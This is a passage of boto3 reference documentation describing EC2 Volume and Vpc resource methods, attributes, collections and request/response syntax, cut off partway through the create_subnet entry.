Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = volume.detach_from_instance( + Device='string', + Force=True|False, + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- The device name. +* **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +* **InstanceId** (_string_) -- The ID of the instance. If you are detaching a Multi-Attach enabled volume, you must specify an instance ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +enable_io(kwargs_) + +Enables I/O operations for a volume that had I/O operations disabled because the data on the volume was potentially inconsistent. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVolumeIO) + +**Request Syntax** + +response = volume.enable_io( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies a volume attribute. + +By default, all I/O operations for the volume are suspended when the data on the volume is determined to be potentially inconsistent, to prevent undetectable, latent data corruption. The I/O access to the volume can be resumed by first enabling I/O access and then checking the data consistency on your volume. + +You can change the default behavior to resume I/O operations. We recommend that you change this only for boot volumes or for volumes that are stateless or disposable. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVolumeAttribute) + +**Request Syntax** + +response = volume.modify_attribute( + AutoEnableIO={ + 'Value': True|False + }, + DryRun=True|False +) + +Parameters + +* **AutoEnableIO** (_dict_) -- + + Indicates whether the volume should be auto-enabled for I/O operations. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +snapshots + +A collection of Snapshot resources.A Snapshot Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.all() + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +filter(kwargs_) + +Creates an iterable of all Snapshot resources in the collection filtered by kwargs passed to method.A Snapshot collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.filter( + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +page_size(kwargs_) + +Creates an iterable of all Snapshot resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +[Vpc](#id1256) +---------------------------------------------------- + +_class_ EC2.Vpc(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Vpc: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc = ec2.Vpc('id') + +Parameters + +**id** (_string_) -- The Vpc's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Vpc.id "EC2.Vpc.id") + +These are the resource's available attributes: + +* [cidr_block](#EC2.Vpc.cidr_block "EC2.Vpc.cidr_block") +* [cidr_block_association_set](#EC2.Vpc.cidr_block_association_set "EC2.Vpc.cidr_block_association_set") +* [dhcp_options_id](#EC2.Vpc.dhcp_options_id "EC2.Vpc.dhcp_options_id") +* [instance_tenancy](#EC2.Vpc.instance_tenancy "EC2.Vpc.instance_tenancy") +* [ipv6_cidr_block_association_set](#EC2.Vpc.ipv6_cidr_block_association_set "EC2.Vpc.ipv6_cidr_block_association_set") +* [is_default](#EC2.Vpc.is_default "EC2.Vpc.is_default") +* [owner_id](#EC2.Vpc.owner_id "EC2.Vpc.owner_id") +* [state](#EC2.Vpc.state "EC2.Vpc.state") +* [tags](#EC2.Vpc.tags "EC2.Vpc.tags") +* [vpc_id](#EC2.Vpc.vpc_id "EC2.Vpc.vpc_id") + +These are the resource's available references: + +* [dhcp_options](#EC2.Vpc.dhcp_options "EC2.Vpc.dhcp_options") + +These are the resource's available actions: + +* [associate_dhcp_options()](#EC2.Vpc.associate_dhcp_options "EC2.Vpc.associate_dhcp_options") +* [attach_classic_link_instance()](#EC2.Vpc.attach_classic_link_instance "EC2.Vpc.attach_classic_link_instance") +* [attach_internet_gateway()](#EC2.Vpc.attach_internet_gateway "EC2.Vpc.attach_internet_gateway") +* [create_network_acl()](#EC2.Vpc.create_network_acl "EC2.Vpc.create_network_acl") +* [create_route_table()](#EC2.Vpc.create_route_table "EC2.Vpc.create_route_table") +* [create_security_group()](#EC2.Vpc.create_security_group "EC2.Vpc.create_security_group") +* [create_subnet()](#EC2.Vpc.create_subnet "EC2.Vpc.create_subnet") +* [create_tags()](#EC2.Vpc.create_tags "EC2.Vpc.create_tags") +* [delete()](#EC2.Vpc.delete "EC2.Vpc.delete") +* [describe_attribute()](#EC2.Vpc.describe_attribute "EC2.Vpc.describe_attribute") +* [detach_classic_link_instance()](#EC2.Vpc.detach_classic_link_instance "EC2.Vpc.detach_classic_link_instance") +* [detach_internet_gateway()](#EC2.Vpc.detach_internet_gateway "EC2.Vpc.detach_internet_gateway") +* [disable_classic_link()](#EC2.Vpc.disable_classic_link "EC2.Vpc.disable_classic_link") +* [enable_classic_link()](#EC2.Vpc.enable_classic_link "EC2.Vpc.enable_classic_link") +* [get_available_subresources()](#EC2.Vpc.get_available_subresources "EC2.Vpc.get_available_subresources") +* [load()](#EC2.Vpc.load "EC2.Vpc.load") +* [modify_attribute()](#EC2.Vpc.modify_attribute "EC2.Vpc.modify_attribute") +* [reload()](#EC2.Vpc.reload "EC2.Vpc.reload") +* [request_vpc_peering_connection()](#EC2.Vpc.request_vpc_peering_connection "EC2.Vpc.request_vpc_peering_connection") + +These are the resource's available collections: + +* [accepted_vpc_peering_connections](#EC2.Vpc.accepted_vpc_peering_connections "EC2.Vpc.accepted_vpc_peering_connections") +* [instances](#EC2.Vpc.instances "EC2.Vpc.instances") +* [internet_gateways](#EC2.Vpc.internet_gateways "EC2.Vpc.internet_gateways") +* [network_acls](#EC2.Vpc.network_acls "EC2.Vpc.network_acls") +* [network_interfaces](#EC2.Vpc.network_interfaces "EC2.Vpc.network_interfaces") +* [requested_vpc_peering_connections](#EC2.Vpc.requested_vpc_peering_connections "EC2.Vpc.requested_vpc_peering_connections") +* [route_tables](#EC2.Vpc.route_tables "EC2.Vpc.route_tables") +* [security_groups](#EC2.Vpc.security_groups "EC2.Vpc.security_groups") +* [subnets](#EC2.Vpc.subnets "EC2.Vpc.subnets") + +These are the resource's available waiters: + +* [wait_until_available()](#EC2.Vpc.wait_until_available "EC2.Vpc.wait_until_available") +* [wait_until_exists()](#EC2.Vpc.wait_until_exists "EC2.Vpc.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Vpc's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Vpc.load "EC2.Vpc.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +cidr_block + +* _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + +cidr_block_association_set + +* _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +dhcp_options_id + +* _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + +instance_tenancy + +* _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + +is_default + +* _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the VPC. + + +state + +* _(string) --_ + + The current state of the VPC. + + +tags + +* _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +dhcp_options + +(DhcpOptions) The related dhcp_options if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_dhcp_options(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateDhcpOptions) + +**Request Syntax** + +response = vpc.associate_dhcp_options( + DhcpOptionsId='string', + DryRun=True|False +) + +Parameters + +* **DhcpOptionsId** (_string_) -- + + **[REQUIRED]** + + The ID of the DHCP options set, or default to associate no DHCP options with the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +attach_classic_link_instance(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = vpc.attach_classic_link_instance( + DryRun=True|False, + Groups=[ + 'string', + ], + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + * _(string) --_ +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of an EC2-Classic instance to link to the ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_internet_gateway(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = vpc.attach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAcl) + +**Request Syntax** + +network_acl = vpc.create_network_acl( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1143)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1145)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkAcl + +Returns + +NetworkAcl resource + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRouteTable) + +**Request Syntax** + +route_table = vpc.create_route_table( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1148)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1150)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.RouteTable + +Returns + +RouteTable resource + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSecurityGroup) + +**Request Syntax** + +security_group = vpc.create_security_group( + Description='string', + GroupName='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- + + **[REQUIRED]** + + A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1153)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1155)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.SecurityGroup + +Returns + +SecurityGroup resource + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSubnet) + +**Request Syntax** + +subnet = vpc.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 